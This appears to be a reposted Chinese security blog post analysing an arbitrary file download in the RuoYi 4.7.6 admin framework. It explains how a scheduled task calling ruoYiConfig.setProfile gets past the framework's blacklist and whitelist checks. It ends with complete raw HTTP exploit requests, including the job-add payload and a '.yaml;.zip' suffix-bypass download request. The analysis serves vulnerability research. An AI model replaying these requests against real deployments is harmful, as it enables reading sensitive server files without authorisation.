漏洞分析 | 若依4.7.6任意文件下载碎碎念

admin 2024年10月16日21:22:23评论89 views字数 3926阅读13分5秒阅读模式

01 起因

前段时间有人爆出若依存在黑白名单绕过的任意文件下载漏洞,在gitee上的issue:

https://gitee.com/y_project/RuoYi/issues/I697Q5

然后某群里有师傅刚好提到这个问题于是就去尝试了一波,结果和自己预想的不一样,后来就针对此漏洞进行相应的分析。

漏洞分析 | 若依4.7.6任意文件下载碎碎念

02 文件下载一

1.漏洞复现

因为原来有任意文件下载,我就以为是下面这种,先将文件夹设置为ruoYiConfig的profile属性值:

漏洞分析 | 若依4.7.6任意文件下载碎碎念

执行一下定时任务

漏洞分析 | 若依4.7.6任意文件下载碎碎念

然后通过在resource字段设置文件名来下载文件,能够成功下载到一部分文件

漏洞分析 | 若依4.7.6任意文件下载碎碎念

漏洞分析 | 若依4.7.6任意文件下载碎碎念

但是这是有限制的,只能下载几个常见后缀名的文件

漏洞分析 | 若依4.7.6任意文件下载碎碎念

2.调试分析

2.1 添加定时任务黑白名单绕过

添加定时任务对应的controller

com.ruoyi.quartz.controller.SysJobController#addSave

漏洞分析 | 若依4.7.6任意文件下载碎碎念

在这里定义了多个黑名单,具体如下:

1、不允许存在rmi、ldap、http(s)的字符串,如果存在就返回

漏洞分析 | 若依4.7.6任意文件下载碎碎念

2、不允许存在以下字符串

"java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml","org.springframework", "org.apache", "com.ruoyi.common.utils.file", "com.ruoyi.common.config"

漏洞分析 | 若依4.7.6任意文件下载碎碎念

3、经过黑名单检查后会进入白名单验证

漏洞分析 | 若依4.7.6任意文件下载碎碎念

具体的白名单检测如下,先将"("前面的字符串提取出来,然后计算提取出来的的字符串中包含多少个".",如果总数超过1,那就是检测类是否在白名单以内,白名单为com.ruoyi

漏洞分析 | 若依4.7.6任意文件下载碎碎念

由于是用的springbean,所以就不会进入上面,而是通过com.ruoyi.common.utils.spring.SpringUtils获取对应的bean,具体的bean如下,通过IDEA即可查看:

漏洞分析 | 若依4.7.6任意文件下载碎碎念

获取到bean之后就获取对应的类,查看是否在白名单以内,而ruoYiConfig对应的类就是com.ruoyi下

漏洞分析 | 若依4.7.6任意文件下载碎碎念

4、接下来就会进入添加计划任务的服务中

漏洞分析 | 若依4.7.6任意文件下载碎碎念

2.2 文件下载

因为在4.6.1以前存在任意文件下载漏洞,具体代码如下

漏洞分析 | 若依4.7.6任意文件下载碎碎念

所以修复后的代码就对路径穿越符和后缀名做了检测:

1、进去对请求进行检查,是否包含路径穿越符

漏洞分析 | 若依4.7.6任意文件下载碎碎念

漏洞分析 | 若依4.7.6任意文件下载碎碎念

2、检查访问后缀名是否在白名单内

漏洞分析 | 若依4.7.6任意文件下载碎碎念

3、在白名单内则返回true,之后从com.ruoyi.common.config.RuoYiConfig里面获取profile的值,这个值也就是在创建定时任务的时候设置的,然后从请求的资源路径中取出/profile后面的值,和前面获取的profile进行拼接,构成一个文件路径

漏洞分析 | 若依4.7.6任意文件下载碎碎念

4、最终读取文件返回

漏洞分析 | 若依4.7.6任意文件下载碎碎念

漏洞分析 | 若依4.7.6任意文件下载碎碎念

03 任意文件下载

1.漏洞复现

设置ruoYiConfig的profile

漏洞分析 | 若依4.7.6任意文件下载碎碎念

执行刚才设置的任务

漏洞分析 | 若依4.7.6任意文件下载碎碎念

任意文件下载

漏洞分析 | 若依4.7.6任意文件下载碎碎念

这里只要后缀名在白名单以内即可

漏洞分析 | 若依4.7.6任意文件下载碎碎念

漏洞分析 | 若依4.7.6任意文件下载碎碎念

2.调试分析

由于上面的方式只能够下载在白名单内的文件,所以发现这个漏洞的人就想办法绕过了白名单限制。

1、首先在设置ruoYiConfig的profile的时候设置的是包含路径名

漏洞分析 | 若依4.7.6任意文件下载碎碎念

2、然后在下载文件操作时,只需要保证后缀名满足白名单要求即可,但是不能包括/profile这个字符。

漏洞分析 | 若依4.7.6任意文件下载碎碎念

漏洞分析 | 若依4.7.6任意文件下载碎碎念

3、当请求被检查完路径穿越符和白名单后缀时会取出资源路径字符串在/profile后面的字符

漏洞分析 | 若依4.7.6任意文件下载碎碎念

如果没有/profile字符串,则downloadPath就是ruoYiConfig里面的profile

漏洞分析 | 若依4.7.6任意文件下载碎碎念

4、而传入

com.ruoyi.common.utils.file.FileUtils#writeBytes(java.lang.String, java.io.OutputStream)

里面的又直接是downloadPath,这就造成了任意文件下载,不在受白名单的监管。

漏洞分析 | 若依4.7.6任意文件下载碎碎念

04 数据包

POST /monitor/job/add HTTP/1.1Host: 192.168.124.6Accept: application/json, text/javascript, */*; q=0.01Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Length: 84Content-Type: application/x-www-form-urlencodedCookie: JSESSIONID=0655e330-b04f-4487-8617-715d58f2a82cOrigin: http://192.168.124.6Referer: http://192.168.124.6/monitor/jobUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0X-Requested-With: XMLHttpRequestcreateBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('xxx/RuoYi/upload/123.txt')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=GET /common/download/resource?resource=xxxx.yaml;.zip HTTP/1.1Host: 192.168.124.6Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Cookie: JSESSIONID=0655e330-b04f-4487-8617-715d58f2a82cReferer: http://192.168.124.6/indexUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0POST /monitor/job/add HTTP/1.1Host: 192.168.124.6Accept: application/json, text/javascript, */*; q=0.01Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Length: 84Content-Type: application/x-www-form-urlencodedCookie: JSESSIONID=b99110bd-0cb2-44b8-a2e8-880d2082b81dOrigin: http://192.168.124.6Referer: http://192.168.124.6/monitor/jobUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0X-Requested-With: XMLHttpRequestcreateBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('xxxx/RuoYi/upload')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=GET /common/download/resource?resource=/profile/123.txt HTTP/1.1Host: 192.168.124.6Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Cookie: JSESSIONID=b99110bd-0cb2-44b8-a2e8-880d2082b81dReferer: http://192.168.124.6/indexUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0

END

原文始发于微信公众号(杂七杂八聊安全):漏洞分析 | 若依4.7.6任意文件下载碎碎念

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月16日21:22:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞分析 | 若依4.7.6任意文件下载碎碎念https://cn-sec.com/archives/1889765.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息